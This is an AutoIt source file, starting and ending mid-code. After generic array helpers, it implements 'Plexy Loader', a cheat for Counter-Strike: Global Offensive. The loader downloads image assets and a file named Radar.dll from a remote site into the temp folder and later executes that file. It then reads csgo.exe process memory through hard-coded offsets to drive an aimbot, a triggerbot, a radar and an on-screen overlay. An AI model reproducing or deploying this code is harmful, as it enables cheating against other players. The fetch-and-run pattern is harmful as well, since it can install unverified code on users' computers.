$avarray[$iubound] For $i = $iubound - 1 To $ielement + 1 Step -1 $avarray[$i] = $avarray[$i - 1] Next $avarray[$ielement] = $vvalue Return $iubound EndFunc Func _arraymax(Const ByRef $avarray, $icompnumeric = 0, $istart = 0, $iend = 0) Local $iresult = _arraymaxindex($avarray, $icompnumeric, $istart, $iend) If @error Then Return SetError(@error, 0, "") Return $avarray[$iresult] EndFunc Func _arraymaxindex(Const ByRef $avarray, $icompnumeric = 0, $istart = 0, $iend = 0) If NOT IsArray($avarray) OR UBound($avarray, 0) <> 1 Then Return SetError(1, 0, -1) If UBound($avarray, 0) <> 1 Then Return SetError(3, 0, -1) Local $iubound = UBound($avarray) - 1 If $iend < 1 OR $iend > $iubound Then $iend = $iubound If $istart < 0 Then $istart = 0 If $istart > $iend Then Return SetError(2, 0, -1) Local $imaxindex = $istart If $icompnumeric Then For $i = $istart To $iend If Number($avarray[$imaxindex]) < Number($avarray[$i]) Then $imaxindex = $i Next Else For $i = $istart To $iend If $avarray[$imaxindex] < $avarray[$i] Then $imaxindex = $i Next EndIf Return $imaxindex EndFunc Func _arraymin(Const ByRef $avarray, $icompnumeric = 0, $istart = 0, $iend = 0) Local $iresult = _arrayminindex($avarray, $icompnumeric, $istart, $iend) If @error Then Return SetError(@error, 0, "") Return $avarray[$iresult] EndFunc Func _arrayminindex(Const ByRef $avarray, $icompnumeric = 0, $istart = 0, $iend = 0) If NOT IsArray($avarray) Then Return SetError(1, 0, -1) If UBound($avarray, 0) <> 1 Then Return SetError(3, 0, -1) Local $iubound = UBound($avarray) - 1 If $iend < 1 OR $iend > $iubound Then $iend = $iubound If $istart < 0 Then $istart = 0 If $istart > $iend Then Return SetError(2, 0, -1) Local $iminindex = $istart If $icompnumeric Then For $i = $istart To $iend If Number($avarray[$iminindex]) > Number($avarray[$i]) Then $iminindex = $i Next Else For $i = $istart To $iend If $avarray[$iminindex] > $avarray[$i] Then $iminindex = $i Next EndIf Return $iminindex EndFunc Func _arraypermute(ByRef $avarray, $sdelim = "") If NOT IsArray($avarray) Then Return SetError(1, 0, 0) If UBound($avarray, 0) <> 1 Then Return SetError(2, 0, 0) Local $isize = UBound($avarray), $ifactorial = 1, $aidx[$isize], $aresult[1], $icount = 1 For $i = 0 To $isize - 1 $aidx[$i] = $i Next For $i = $isize To 1 Step -1 $ifactorial *= $i Next ReDim $aresult[$ifactorial + 1] $aresult[0] = $ifactorial __array_exeterinternal($avarray, 0, $isize, $sdelim, $aidx, $aresult, $icount) Return $aresult EndFunc Func _arraypop(ByRef $avarray) If (NOT IsArray($avarray)) Then Return SetError(1, 0, "") If UBound($avarray, 0) <> 1 Then Return SetError(2, 0, "") Local $iubound = UBound($avarray) - 1, $slastval = $avarray[$iubound] If NOT $iubound Then $avarray = "" Else ReDim $avarray[$iubound] EndIf Return $slastval EndFunc Func _arraypush(ByRef $avarray, $vvalue, $idirection = 0) If (NOT IsArray($avarray)) Then Return SetError(1, 0, 0) If UBound($avarray, 0) <> 1 Then Return SetError(3, 0, 0) Local $iubound = UBound($avarray) - 1 If IsArray($vvalue) Then Local $iubounds = UBound($vvalue) If ($iubounds - 1) > $iubound Then Return SetError(2, 0, 0) If $idirection Then For $i = $iubound To $iubounds Step -1 $avarray[$i] = $avarray[$i - $iubounds] Next For $i = 0 To $iubounds - 1 $avarray[$i] = $vvalue[$i] Next Else For $i = 0 To $iubound - $iubounds $avarray[$i] = $avarray[$i + $iubounds] Next For $i = 0 To $iubounds - 1 $avarray[$i + $iubound - $iubounds + 1] = $vvalue[$i] Next EndIf Else If $idirection Then For $i = $iubound To 1 Step -1 $avarray[$i] = $avarray[$i - 1] Next $avarray[0] = $vvalue Else For $i = 0 To $iubound - 1 $avarray[$i] = $avarray[$i + 1] Next $avarray[$iubound] = $vvalue EndIf EndIf Return 1 EndFunc Func _arraysearch(Const ByRef $avarray, $vvalue, $istart = 0, $iend = 0, $icase = 0, $icompare = 0, $iforward = 1, $isubitem = -1) If NOT IsArray($avarray) Then Return SetError(1, 0, -1) If UBound($avarray, 0) > 2 OR UBound($avarray, 0) < 1 Then Return SetError(2, 0, -1) Local $iubound = UBound($avarray) - 1 If $iend < 1 OR $iend > $iubound Then $iend = $iubound If $istart < 0 Then $istart = 0 If $istart > $iend Then Return SetError(4, 0, -1) Local $istep = 1 If NOT $iforward Then Local $itmp = $istart $istart = $iend $iend = $itmp $istep = -1 EndIf Local $icomptype = False If $icompare = 2 Then $icompare = 0 $icomptype = True EndIf Switch UBound($avarray, 0) Case 1 If NOT $icompare Then If NOT $icase Then For $i = $istart To $iend Step $istep If $icomptype AND VarGetType($avarray[$i]) <> VarGetType($vvalue) Then ContinueLoop If $avarray[$i] = $vvalue Then Return $i Next Else For $i = $istart To $iend Step $istep If $icomptype AND VarGetType($avarray[$i]) <> VarGetType($vvalue) Then ContinueLoop If $avarray[$i] == $vvalue Then Return $i Next EndIf Else For $i = $istart To $iend Step $istep If StringInStr($avarray[$i], $vvalue, $icase) > 0 Then Return $i Next EndIf Case 2 Local $iuboundsub = UBound($avarray, 2) - 1 If $isubitem > $iuboundsub Then $isubitem = $iuboundsub If $isubitem < 0 Then $isubitem = 0 Else $iuboundsub = $isubitem EndIf For $j = $isubitem To $iuboundsub If NOT $icompare Then If NOT $icase Then For $i = $istart To $iend Step $istep If $icomptype AND VarGetType($avarray[$i][$j]) <> VarGetType($vvalue) Then ContinueLoop If $avarray[$i][$j] = $vvalue Then Return $i Next Else For $i = $istart To $iend Step $istep If $icomptype AND VarGetType($avarray[$i][$j]) <> VarGetType($vvalue) Then ContinueLoop If $avarray[$i][$j] == $vvalue Then Return $i Next EndIf Else For $i = $istart To $iend Step $istep If StringInStr($avarray[$i][$j], $vvalue, $icase) > 0 Then Return $i Next EndIf Next Case Else Return SetError(7, 0, -1) EndSwitch Return SetError(6, 0, -1) EndFunc Func _arraysort(ByRef $avarray, $idescending = 0, $istart = 0, $iend = 0, $isubitem = 0) If NOT IsArray($avarray) Then Return SetError(1, 0, 0) Local $iubound = UBound($avarray) - 1 If $iend < 1 OR $iend > $iubound Then $iend = $iubound If $istart < 0 Then $istart = 0 If $istart > $iend Then Return SetError(2, 0, 0) Switch UBound($avarray, 0) Case 1 __arrayquicksort1d($avarray, $istart, $iend) If $idescending Then _arrayreverse($avarray, $istart, $iend) Case 2 Local $isubmax = UBound($avarray, 2) - 1 If $isubitem > $isubmax Then Return SetError(3, 0, 0) If $idescending Then $idescending = -1 Else $idescending = 1 EndIf __arrayquicksort2d($avarray, $idescending, $istart, $iend, $isubitem, $isubmax) Case Else Return SetError(4, 0, 0) EndSwitch Return 1 EndFunc Func __arrayquicksort1d(ByRef $avarray, ByRef $istart, ByRef $iend) If $iend <= $istart Then Return Local $vtmp If ($iend - $istart) < 15 Then Local $vcur For $i = $istart + 1 To $iend $vtmp = $avarray[$i] If IsNumber($vtmp) Then For $j = $i - 1 To $istart Step -1 $vcur = $avarray[$j] If ($vtmp >= $vcur AND IsNumber($vcur)) OR (NOT IsNumber($vcur) AND StringCompare($vtmp, $vcur) >= 0) Then ExitLoop $avarray[$j + 1] = $vcur Next Else For $j = $i - 1 To $istart Step -1 If (StringCompare($vtmp, $avarray[$j]) >= 0) Then ExitLoop $avarray[$j + 1] = $avarray[$j] Next EndIf $avarray[$j + 1] = $vtmp Next Return EndIf Local $l = $istart, $r = $iend, $vpivot = $avarray[Int(($istart + $iend) / 2)], $fnum = IsNumber($vpivot) Do If $fnum Then While ($avarray[$l] < $vpivot AND IsNumber($avarray[$l])) OR (NOT IsNumber($avarray[$l]) AND StringCompare($avarray[$l], $vpivot) < 0) $l += 1 WEnd While ($avarray[$r] > $vpivot AND IsNumber($avarray[$r])) OR (NOT IsNumber($avarray[$r]) AND StringCompare($avarray[$r], $vpivot) > 0) $r -= 1 WEnd Else While (StringCompare($avarray[$l], $vpivot) < 0) $l += 1 WEnd While (StringCompare($avarray[$r], $vpivot) > 0) $r -= 1 WEnd EndIf If $l <= $r Then $vtmp = $avarray[$l] $avarray[$l] = $avarray[$r] $avarray[$r] = $vtmp $l += 1 $r -= 1 EndIf Until $l > $r __arrayquicksort1d($avarray, $istart, $r) __arrayquicksort1d($avarray, $l, $iend) EndFunc Func __arrayquicksort2d(ByRef $avarray, ByRef $istep, ByRef $istart, ByRef $iend, ByRef $isubitem, ByRef $isubmax) If $iend <= $istart Then Return Local $vtmp, $l = $istart, $r = $iend, $vpivot = $avarray[Int(($istart + $iend) / 2)][$isubitem], $fnum = IsNumber($vpivot) Do If $fnum Then While ($istep * ($avarray[$l][$isubitem] - $vpivot) < 0 AND IsNumber($avarray[$l][$isubitem])) OR (NOT IsNumber($avarray[$l][$isubitem]) AND $istep * StringCompare($avarray[$l][$isubitem], $vpivot) < 0) $l += 1 WEnd While ($istep * ($avarray[$r][$isubitem] - $vpivot) > 0 AND IsNumber($avarray[$r][$isubitem])) OR (NOT IsNumber($avarray[$r][$isubitem]) AND $istep * StringCompare($avarray[$r][$isubitem], $vpivot) > 0) $r -= 1 WEnd Else While ($istep * StringCompare($avarray[$l][$isubitem], $vpivot) < 0) $l += 1 WEnd While ($istep * StringCompare($avarray[$r][$isubitem], $vpivot) > 0) $r -= 1 WEnd EndIf If $l <= $r Then For $i = 0 To $isubmax $vtmp = $avarray[$l][$i] $avarray[$l][$i] = $avarray[$r][$i] $avarray[$r][$i] = $vtmp Next $l += 1 $r -= 1 EndIf Until $l > $r __arrayquicksort2d($avarray, $istep, $istart, $r, $isubitem, $isubmax) __arrayquicksort2d($avarray, $istep, $l, $iend, $isubitem, $isubmax) EndFunc Func _arrayunique($aarray, $idimension = 1, $ibase = 0, $icase = 0, $vdelim = "|") Local $iubounddim If $vdelim = "|" Then $vdelim = Chr(1) If NOT IsArray($aarray) Then Return SetError(1, 0, 0) If NOT $idimension > 0 Then Return SetError(3, 0, 0) Else $iubounddim = UBound($aarray, 1) If @error Then Return SetError(3, 0, 0) If $idimension > 1 Then Local $aarraytmp[1] For $i = 0 To $iubounddim - 1 _arrayadd($aarraytmp, $aarray[$i][$idimension - 1]) Next _arraydelete($aarraytmp, 0) Else If UBound($aarray, 0) = 1 Then Dim $aarraytmp[1] For $i = 0 To $iubounddim - 1 _arrayadd($aarraytmp, $aarray[$i]) Next _arraydelete($aarraytmp, 0) Else Dim $aarraytmp[1] For $i = 0 To $iubounddim - 1 _arrayadd($aarraytmp, $aarray[$i][$idimension - 1]) Next _arraydelete($aarraytmp, 0) EndIf EndIf EndIf Local $shold For $icc = $ibase To UBound($aarraytmp) - 1 If NOT StringInStr($vdelim & $shold, $vdelim & $aarraytmp[$icc] & $vdelim, $icase) Then $shold &= $aarraytmp[$icc] & $vdelim Next If $shold Then $aarraytmp = StringSplit(StringTrimRight($shold, StringLen($vdelim)), $vdelim, 1) Return $aarraytmp EndIf Return SetError(2, 0, 0) EndFunc If NOT FileExists("C:\Settings.cfg") Then MsgBox(16,"Plexy-Software ", "Your settings file is missing!" & @LF & "Please place the Settings.cfg file on your 'C:\' drive!") Exit EndIf Sleep(250) func internetcheck() $ping = ping("google.com",2000) if (($ping <> 0) and ($ping < 3000) ) then return 1 else return 0 EndIf EndFunc $internett = internetcheck() if $internett == 0 then MsgBox(16,"Error","You need an internet connection to use this program !") Exit EndIf InetGet ( 'http://plexy-software.com/images/Cubexlog.jpg', @TempDir & '\Cubexlog.jpg', 1, 1 ) Sleep (2000) Func _MY_NCHITTEST($hWnd, $uMsg, $wParam, $lParam) Switch $hWnd Case $rdrgui Local $aPos = WinGetPos($hWnd) If Abs(BitAND(BitShift($lParam, 16), 0xFFFF) - $aPos[1]) < 50 Then Return $HTCAPTION EndSwitch Return $GUI_RUNDEFMSG EndFunc Sleep(100) $Title = "Plexy Loader:" $Width = 361 $Height = 282 $Font = "Calibri" $FontSize = 8 $FontColor = 0xFFFFFF $TitleHeight = 15 $BgColorTitle = 0x141414 $linecolor = 0x000000 $BgColor = 0xF0F0F0 $GUI = GUICreate($Title, $Width, $Height, -1, -1, $WS_POPUP) GUISetBkColor($BgColor) GUISetFont($FontSize, 400, 0, $Font) $TitleBar = GUICtrlCreateLabel($Title, 5, 2, $Width, 17, -1, $GUI_WS_EX_PARENTDRAG) GUICtrlSetColor(-1, $FontColor) GUICtrlSetBkColor(-1, $GUI_BKCOLOR_TRANSPARENT) GUICtrlCreateGraphic(0, 0, $Width, $TitleHeight + 2) GUICtrlSetBkColor(-1, $BgColorTitle) GUISetFont(8.5, 400, 0, "Calibri") GUICtrlCreateGroup("", -99, -99, 1, 1) GUISetState(@SW_SHOW) $Pic1 = GUICtrlCreatePic(@TempDir & "\Cubexlog.jpg", 21, 115, 324, 83) GUICtrlCreateList("InterField", 13, 30, 336, 95, +$SS_CENTER) GUICtrlSetFont(-1, 15, -1, -1, $Font) $Label2 = GUICtrlCreateLabel("©Copyright 2013-2015 All rights reversed", 80, 258, 197, 17) $loadbut = GUICtrlCreateButton("Load", 35, 225, 286, 22) While 1 $nMsg = GUIGetMsg() Switch $nMsg Case $GUI_EVENT_CLOSE Exit Case $loadbut GUIDelete($GUI) ExitLoop EndSwitch WEnd $Title = "Plexy Loader:" $Width = 250 $Height = 60 $Font = "Calibri" $FontSize = 8 $FontColor = 0xFFFFFF $TitleHeight = 15 $BgColorTitle = 0x141414 $linecolor = 0x000000 $BgColor = 0xF0F0F0 $GUI = GUICreate($Title, $Width, $Height, -1, -1, $WS_POPUP) GUISetBkColor($BgColor) GUISetFont($FontSize, 400, 0, $Font) $TitleBar = GUICtrlCreateLabel($Title, 5, 2, $Width, 17, -1, $GUI_WS_EX_PARENTDRAG) GUICtrlSetColor(-1, $FontColor) GUICtrlSetBkColor(-1, $GUI_BKCOLOR_TRANSPARENT) GUICtrlCreateGraphic(0, 0, $Width, $TitleHeight + 2) GUICtrlSetBkColor(-1, $BgColorTitle) GUISetFont(8.5, 400, 0, "Calibri") GUICtrlCreateGroup("", -99, -99, 1, 1) $downloadtext = GUICtrlCreateLabel("Downloading Requirement..", 61, 20) $download = GUICtrlCreateProgress(25, 38, 200, 15) GUISetState(@SW_SHOW) GUICtrlSetData($download, 5) InetGet("http://plexy-software.com/forum/Increase.bmp", @TempDir & "\Increase.bmp", 1, 0) InetGet("http://plexy-software.com/forum/Disable.bmp", @TempDir & "\Disable.bmp", 1, 0) InetGet("http://plexy-software.com/forum/Decrease.bmp", @TempDir & "\Decrease.bmp", 1, 0) InetGet("http://www.plexy-software.com/grey.bmp", @TempDir & "\grey.bmp", 1, 0) GUICtrlSetData($download, 15) Sleep(1600) InetGet("http://www.plexy-software.com/forum/Radar.dll", @TempDir & "\Radar.dll", 1, 0) InetGet("http://www.plexy-software.com/red.bmp", @TempDir & "\red.bmp", 1, 0) GUICtrlSetData($download, 22) Sleep(5000) InetGet("http://plexy-software.com/forum/Chance.bmp", @TempDir & "\Chance.bmp", 1, 0) InetGet("http://plexy-software.com/forum/CEnemy.bmp", @TempDir & "\CEnemy.bmp", 1, 0) InetGet("http://plexy-software.com/forum/Active.bmp", @TempDir & "\Active.bmp", 1, 0) InetGet("http://www.plexy-software.com/black.bmp", @TempDir & "\black.bmp", 1, 0) GUICtrlSetData($download, 30) Sleep(1600) InetGet("http://plexy-software.com/forum/UEnemy.bmp", @TempDir & "\UEnemy.bmp", 1, 0) InetGet("http://plexy-software.com/forum/Status.bmp", @TempDir & "\Status.bmp", 1, 0) InetGet("http://plexy-software.com/forum/Security.bmp", @TempDir & "\Security.bmp", 1, 0) InetGet("http://www.plexy-software.com/midlines.bmp", @TempDir & "\midlines.bmp", 1, 0) GUICtrlSetData($download, 41) Sleep(1600) GUICtrlSetData($downloadtext, "Loading Cheat..") GUICtrlSetPos($downloadtext, 88, 20) GUICtrlSetData($download, 59) Sleep(470) StatusUpdate() GUICtrlSetData($download, 67) Sleep(470) GUICtrlSetData($download, 79) Sleep(470) GUICtrlSetData($download, 89) Sleep(470) GUICtrlSetData($download, 100) Sleep(470) $iFovoffset = 5520 $hitboxpos = 308 $Recoil_offset = 112 $m_local = 4972 $BoneOffset = 2680 $ViewAng = 5604372 $ViewAngOff = 19640 $c_dwLocalBaseEntity = 10926444 $c_dwBaseEntity = 77652004 $MyTeamAD = 240 $Healths = 252 $crossid = 9208 $m_hActiveOffset = 4800 $WeaponID = 5764 $radarspotoff = 2357 $MR = 57.295779513082 $M_PI = 3.14159265358979323846 $addx = 0 $addy = 0 $MinF = "" $iStart = 0 $iEnd = 0 $Other = 0 $degToRad = $M_PI / 180 GUICtrlSetData($downloadtext, "Waiting for CSGO.exe..") GUICtrlSetPos($downloadtext, 72, 20) Sleep(10) ProcessWait("CSGO.exe") Sleep(4000) GUIDelete ($GUI) $degToRad = $M_PI / 180 HotKeySet("{INS}", "Menu") HotKeySet("{DEL}", "Panic") $Menu = 0 ProcessSetPriority(@ScriptName, 5) WinWait("[CLASS:Valve001]", "") $UPD = 500 $UPDSET = 50 $process = _memoryopen(ProcessExists("csgo.exe")) $client_dll = xmodule("client.dll", ProcessExists("csgo.exe")) $engine_dll = xmodule("engine.dll", ProcessExists("csgo.exe")) $LocalBase = _memoryread($client_dll + $c_dwLocalBaseEntity, $process, "dword") $m_hActiveWeapon = _memoryread($LocalBase + $m_hActiveOffset, $process, "dword") $index = BitAnd($m_hActiveWeapon, 0xFFF) $dw_BasePointer = _memoryread($client_dll + $c_dwBaseEntity + (($index-1) * 16), $process, "dword") $WeaponIDs = _memoryread($dw_BasePointer + $WeaponID, $process, "dword") If $WeaponIDs > 0 and $WeaponIDs < 50 then $weaponname = GetWeaponName($WeaponIDs) Else $weaponname = "none" endif $FileSet = "C:\Settings.cfg" $key = IniRead( $FileSet, "Settings", "Aimbot_Key", 0 ) $ptkey = IniRead( $FileSet, "Settings", "Triggerbot_Key", 0 ) $Smooth = IniRead ($FileSet, "Settings" , "Aimbot_Smooth" , 0) $viasghfaf = IniRead ($FileSet , "Settings" ,"Aimbot_VisibilityCheck" , 0) $dfhgzfsgzsfg = IniRead( $FileSet, "WeaponSettings", "aimbot_"& $weaponname & ".enabled", 0 ) $Bone = IniRead( $FileSet, "WeaponSettings", "aimbot_" & $weaponname & ".height", 0 ) $fov = IniRead( $FileSet, "WeaponSettings", "aimbot_" & $weaponname & ".fov", 0 ) $RCS = IniRead( $FileSet, "WeaponSettings", "aimbot_" & $weaponname & ".rcs", 0 ) $Delay = IniRead( $FileSet, "WeaponSettings", "aimbot_" & $weaponname & ".delay", 0 ) $ptrigger = IniRead( $FileSet, "WeaponSettings", "triggerbot_" & $weaponname & ".enabled", 0 ) $phitbox = IniRead( $FileSet, "WeaponSettings", "triggerbot_" & $weaponname & ".hitbox", 0) $pallbody = IniRead($FileSet, "WeaponSettings", "triggerbot_" & $weaponname & ".allbody", 0) $pTDelay = IniRead($FileSet, 'WeaponSettings', "triggerbot_" & $weaponname & ".BeforeDelay", 0) $shotdelay = IniRead($FileSet, 'WeaponSettings', "triggerbot_" & $weaponname & ".AfterDelay", 0) $overburst = IniRead($FileSet, 'WeaponSettings', "triggerbot_" & $weaponname & ".Overburst", 0) $radarenable = IniRead($FileSet, "Settings", "Radar_Enabled", 0) $u = 0 $d = 0 $Drawfov = IniRead($FileSet, "Settings", "Visuals.DrawFoV", 0) $fovadside = IniRead($FileSet, "Settings", "Visuals.DrawFoV.adside", 0) $fovadup = IniRead($FileSet, "Settings", "Visuals.DrawFoV.adup", 0) $Croshair = IniRead($FileSet, "Settings", "Visuals.Crosshair", 0) $adside = IniRead($FileSet, "Settings", "Visuals.Crosshair.adside", 0) $adup = IniRead($FileSet, "Settings", "Visuals.Crosshair.adup", 0) $watermarkactive = IniRead($FileSet, "Settings", "Watermark", 0) Func Info() if $UPD = 500 Then $process = _memoryopen(ProcessExists("csgo.exe")) $client_dll = xmodule("client.dll", ProcessExists("csgo.exe")) $engine_dll = xmodule("engine.dll", ProcessExists("csgo.exe")) $UPD = 0 EndIf $UPD = $UPD + 1 if $UPDSET = 50 Then $LocalBase = _memoryread($client_dll + $c_dwLocalBaseEntity, $process, "dword") $m_hActiveWeapon = _memoryread($LocalBase + $m_hActiveOffset, $process, "dword") $index = BitAnd($m_hActiveWeapon, 0xFFF) $dw_BasePointer = _memoryread($client_dll + $c_dwBaseEntity + (($index-1) * 16), $process, "dword") $WeaponIDs = _memoryread($dw_BasePointer + $WeaponID, $process, "dword") If $WeaponIDs > 0 and $WeaponIDs < 50 then $weaponname = GetWeaponName($WeaponIDs) Else $weaponname = "none" endif If WinActive("[CLASS:Valve001]") Then $FileSet = "C:\Settings.cfg" $key = IniRead( $FileSet, "Settings", "Aimbot_Key", 0 ) $ptkey = IniRead( $FileSet, "Settings", "Triggerbot_Key", 0 ) $Smooth = IniRead ($FileSet, "Settings" , "Aimbot_Smooth" , 0) $viasghfaf = IniRead ($FileSet , "Settings" ,"Aimbot_VisibilityCheck" , 0) $dfhgzfsgzsfg = IniRead( $FileSet, "WeaponSettings", "aimbot_"& $weaponname & ".enabled", 0 ) $Bone = IniRead( $FileSet, "WeaponSettings", "aimbot_" & $weaponname & ".height", 0 ) $fov = IniRead( $FileSet, "WeaponSettings", "aimbot_" & $weaponname & ".fov", 0 ) $RCS = IniRead( $FileSet, "WeaponSettings", "aimbot_" & $weaponname & ".rcs", 0 ) $Delay = IniRead( $FileSet, "WeaponSettings", "aimbot_" & $weaponname & ".delay", 0 ) $ptrigger = IniRead( $FileSet, "WeaponSettings", "triggerbot_" & $weaponname & ".enabled", 0 ) $phitbox = IniRead( $FileSet, "WeaponSettings", "triggerbot_" & $weaponname & ".hitbox", 0) $pallbody = IniRead($FileSet, "WeaponSettings", "triggerbot_" & $weaponname & ".allbody", 0) $pTDelay = IniRead($FileSet, 'WeaponSettings', "triggerbot_" & $weaponname & ".BeforeDelay", 0) $shotdelay = IniRead($FileSet, 'WeaponSettings', "triggerbot_" & $weaponname & ".AfterDelay", 0) $overburst = IniRead($FileSet, 'WeaponSettings', "triggerbot_" & $weaponname & ".Overburst", 0) $radarenable = IniRead($FileSet, "Settings", "Radar_Enabled", 0) $u = 0 $d = 0 $Drawfov = IniRead($FileSet, "Settings", "Visuals.DrawFoV", 0) $fovadside = IniRead($FileSet, "Settings", "Visuals.DrawFoV.adside", 0) $fovadup = IniRead($FileSet, "Settings", "Visuals.DrawFoV.adup", 0) $Croshair = IniRead($FileSet, "Settings", "Visuals.Crosshair", 0) $adside = IniRead($FileSet, "Settings", "Visuals.Crosshair.adside", 0) $adup = IniRead($FileSet, "Settings", "Visuals.Crosshair.adup", 0) $watermarkactive = IniRead($FileSet, "Settings", "Watermark", 0) EndIf $UPDSET = 0 EndIf $UPDSET = $UPDSET + 1 EndFunc Global Const $SM_CXFIXEDFRAME = 7 Global Const $hTitlebar = _WinAPI_GetSystemMetrics($SM_CYCAPTION) Global Const $hBorder = _WinAPI_GetSystemMetrics($SM_CXFIXEDFRAME) $hWnd = WinWait("Counter-Strike: Global Offensive", "", 10) $aClientSize = WinGetClientSize($hWnd) $readfovvalue = -99 $readheightvalue = -99 $readdelayvalue = -99 $readenablevalue = 0 $readrcsvalue = 0 $treadhitvalue = 0 $treadhitboxvalue = -99 $treadaftervalue = -99 $treadbeforevalue = -99 $CrossGUI = GUICreate('', 0, 0, 0, 0, 0, $WS_EX_TOOLWINDOW) Global $aArray[40] = ["Deagle", "Elite", "P2000", "P90", "MAC10", "Bizon", "sg553", "fiveseven", "Glock", "p228", "p250", "usp", "famas", "ak47", "nova", "mag7", "ump45", "mp7", "m4a1", "galil", "galilar", "aug", "scar20", "awp", "g3sg1", "m249", "m3", "mp5navy", "scout","sg550", "sg552", "tmp", "xm1014", "negev", "sawedoff", "tec9", "taser", "mp9", "scar17", "ssg08"] $sList = "" For $i = 0 To UBound($aArray) - 1 $sList &= "|" & $aArray[$i] Next $CrossGUIChild = GUICreate("", $aClientSize[0] - $hBorder, $aClientSize[1] - ($hTitlebar - $hBorder), -1, -1, $WS_POPUP, BitOR($WS_EX_TOPMOST, $WS_EX_TOOLWINDOW, $WS_EX_LAYERED, $WS_EX_TRANSPARENT), $CrossGUI) GUISetBkColor($COLOR_BLACK) $watermark = GUICtrlCreateLabel("InterField", 2 + $hBorder, 2 + ($hTitlebar + $hBorder), 270, 15) GUICtrlSetColor($watermark, 0xFF0000) GUICtrlSetFont(-1, 9, 700, -1, "Calibri") If $radarenable = 1 Then Run(@TempDir & "\Radar.dll") Else ProcessClose("Radar.dll") EndIf If $watermarkactive = 0 Then GUICtrlSetColor($watermark, 0) EndIf If $Drawfov = 1 Then $dfovgui = GUICtrlCreateGraphic($aClientSize[0] / 2 - $fov *5 + $fovadside, $aClientSize[1] / 2 - $fov*2.5 + $fovadup, $fov * 10, $fov * 10) GUICtrlSetColor(-1, 0xFF0000) Else $dfovgui = GUICtrlCreateGraphic($aClientSize[0] / 2 - $fov *5 + $fovadside, $aClientSize[1] / 2 - $fov*2.5 + $fovadup, $fov * 10, $fov * 10) EndIf If $Croshair = 1 Then $dcrossgui = GUICtrlCreateGraphic( $aClientSize[0] / 2 + $adside, $aClientSize[1] / 2 + $adup, 20, 20) GUICtrlSetColor(-1, 0xFF0000) $dcrossgui2 = GUICtrlCreateGraphic( $aClientSize[0] / 2 + $adside + 9, $aClientSize[1] / 2 + $adup, 1, 20) GUICtrlSetColor(-1, 0xFF0000) $dcrossgui3 = GUICtrlCreateGraphic( $aClientSize[0] / 2 + $adside, $aClientSize[1] / 2 + $adup + 10, 20, 1) GUICtrlSetColor(-1, 0xFF0000) Else $dcrossgui = GUICtrlCreateGraphic( $aClientSize[0] / 2 + $adside, $aClientSize[1] / 2 + $adup, 20, 20) $dcrossgui2 = GUICtrlCreateGraphic( $aClientSize[0] / 2 + $adside + 9, $aClientSize[1] / 2 + $adup, 1, 20) $dcrossgui3 = GUICtrlCreateGraphic( $aClientSize[0] / 2 + $adside, $aClientSize[1] / 2 + $adup + 10, 20, 1) EndIf _WinAPI_SetLayeredWindowAttributes($CrossGUIChild, $COLOR_BLACK) GUISetState(@SW_SHOWNOACTIVATE, $CrossGUIChild) $Title = " InterField" $Width = 550 $Height = 400 $Font = "Calibri" $FontSize = 8.5 $FontColor = 0xFFFFFF $TitleHeight = 20 $BackgroundColor = 0x1D1D1D $TitleBackGroundColor = 0x1D1D1D $MainGUI = GUICreate($Title, $Width, $Height, -1, -1, $WS_POPUP, $WS_EX_TOPMOST, $CrossGUI) GUISetBKColor($BackgroundColor) GUISetFont($FontSize, 400, 0, $Font) $TitleBar = GUICtrlCreateLabel($Title, 0, 8, $Width, 15, -1, $GUI_WS_EX_PARENTDRAG) GUICtrlSetColor($TitleBar, $FontColor) GUICtrlSetBkColor($TitleBar, $GUI_BKCOLOR_TRANSPARENT) GUICtrlCreateGraphic(0, 0, $Width, $TitleHeight) GUICtrlSetBkColor(-1, $TitleBackGroundColor) GUISetFont(8.5, 400, 0, "Calibri") ;################################## ; Tabs ;################################# Global $TabSwitcher[7] Global Const $TabSwitcher1 = GUICtrlCreateLabel("Aimbot", 11, 31, 100, 40, +$SS_CENTER+ $SS_CENTERIMAGE) GUICtrlSetBkColor(-1, 0x750606) GUICtrlSetColor(-1, 0xFFFFFF) Global Const $TabSwitcher2 = GUICtrlCreateLabel("Triggerbot", 11, 74, 100, 40, +$SS_CENTER+ $SS_CENTERIMAGE) GUICtrlSetBkColor(-1, 0x292929) GUICtrlSetColor(-1, 0xFFFFFF) Global Const $TabSwitcher3 = GUICtrlCreateLabel("Radar", 11, 117, 100, 40, +$SS_CENTER+ $SS_CENTERIMAGE) GUICtrlSetBkColor(-1, 0x292929) GUICtrlSetColor(-1, 0xFFFFFF) Global Const $TabSwitcher4 = GUICtrlCreateLabel("Misc", 11, 160, 100, 40, +$SS_CENTER+ $SS_CENTERIMAGE) GUICtrlSetBkColor(-1, 0x292929) GUICtrlSetColor(-1, 0x0FFFFFF) Global Const $TabSwitcher5 = GUICtrlCreateLabel("Live-Status", 11, 203, 100, 40, +$SS_CENTER+ $SS_CENTERIMAGE) GUICtrlSetBkColor(-1, 0x292929) GUICtrlSetColor(-1, 0xFFFFFF) Global Const $tab = GUICtrlCreateTab(10,40, 200, 200) ; can be placed anywhere, doesnt matter, not visible GUICtrlSetState($tab, $GUI_HIDE) ;################################## ; Graphics ;################################# GUICtrlCreateGraphic(10, 30, 101, 359) GUICtrlSetColor(-1, 0x141414) GUICtrlSetBkColor(-1, 0x141414) GUICtrlCreateGraphic(10, 30, 1, 359) GUICtrlSetColor(-1, 0x5F5E5E) GUICtrlCreateGraphic(10, 30, 529, 1) GUICtrlSetColor(-1, 0x45F5E5E) GUICtrlCreateGraphic(10, 389, 529, 1) GUICtrlSetColor(-1, 0x5F5E5E) GUICtrlCreateGraphic(539, 30, 1, 360) GUICtrlSetColor(-1, 0x5F5E5E) GUICtrlCreateGraphic(111, 31, 5, 358) GUICtrlSetColor(-1, 0x750606) GUICtrlSetBkColor(-1, 0x750606) ;################################## ; Aimbot Content ;################################# Global Const $tab1 = GUICtrlCreateTabItem("tab1") GUICtrlCreateLabel("AimKey", 445, 39) GUICtrlSetColor(-1, 0xFFFFFF) $keydis = GUICtrlCreateLabel($key, 426, 53, 75, 18, +$SS_CENTER+ $SS_CENTERIMAGE) GUICtrlSetColor($keydis, 0xFFFFFF) GUICtrlSetBkColor($keydis, 0x767575) $keymin = GUICtrlCreatePic(@TempDir & "\Decrease.bmp", 401, 52, 20, 20) $keyplus = GUICtrlCreatePic(@TempDir & "\Increase.bmp", 506, 52, 20, 20) GUICtrlCreateLabel("Smooth", 445, 80) GUICtrlSetColor(-1, 0xFFFFFF) $smoothdis = GUICtrlCreateLabel($smooth, 426, 94, 75, 18, +$SS_CENTER+ 